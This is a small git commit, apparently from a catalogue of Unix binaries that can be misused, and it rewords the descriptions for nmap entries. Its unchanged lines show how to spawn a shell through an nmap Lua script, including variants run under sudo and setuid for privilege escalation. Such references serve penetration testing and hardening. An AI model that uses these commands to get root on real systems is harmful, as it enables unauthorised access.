Fix nmap descriptions

This commit is contained in:
Andrea Cardaci 2018-08-23 17:57:26 +02:00
parent d4b50275bb
commit 97c54f9b22

View File

@ -1,19 +1,19 @@
--- ---
functions: functions:
execute-interactive: execute-interactive:
- description: Echoing of input characters is disabled. - description: Input echo is disabled.
code: | code: |
TF=$(mktemp) TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF nmap --script=$TF
sudo-enabled: sudo-enabled:
- description: Echoing of input characters is disabled. - description: Input echo is disabled.
code: | code: |
TF=$(mktemp) TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF sudo nmap --script=$TF
suid-enabled: suid-enabled:
- description: Echoing of input characters is disabled. - description: Input echo is disabled.
code: | code: |
TF=$(mktemp) TF=$(mktemp)
echo 'os.execute("/bin/sh -p")' > $TF echo 'os.execute("/bin/sh -p")' > $TF